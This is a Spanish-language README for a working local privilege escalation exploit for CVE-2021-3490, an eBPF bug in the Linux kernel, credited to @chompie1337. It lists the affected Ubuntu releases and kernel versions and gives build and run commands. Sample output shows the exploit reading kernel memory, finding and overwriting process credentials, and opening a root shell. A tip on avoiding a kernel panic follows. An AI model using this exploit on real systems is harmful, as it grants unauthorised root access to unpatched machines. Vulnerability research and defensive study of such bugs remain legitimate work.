
Exploit de LPE para CVE-2021-3490. Probado en Ubuntu 20.04.02 y 20.10 (Groovy Gorilla), kernels 5.8.0-25.26 hasta 5.8.0-52.58. y Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17. La vulnerabilidad fue descubierta por Manfred Paul @_manfp y corregida en este commit.
autor: @chompie1337
Solo con fines educativos/de investigación. Úsalo bajo tu propio riesgo.
Para compilar para Ubuntu 20.04.02 y Ubuntu 20.10 (Groovy Gorilla):
make groovy
Para compilar para Ubuntu 21.04 (Hirsute Hippo):
make hirsute
Para ejecutar:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
Nota: Debes salir limpiamente de la shell root escribiendo exit para realizar la limpieza y evitar un kernel panic.
Echa un vistazo al writeup Kernel Pwning with eBPF: a Love Story.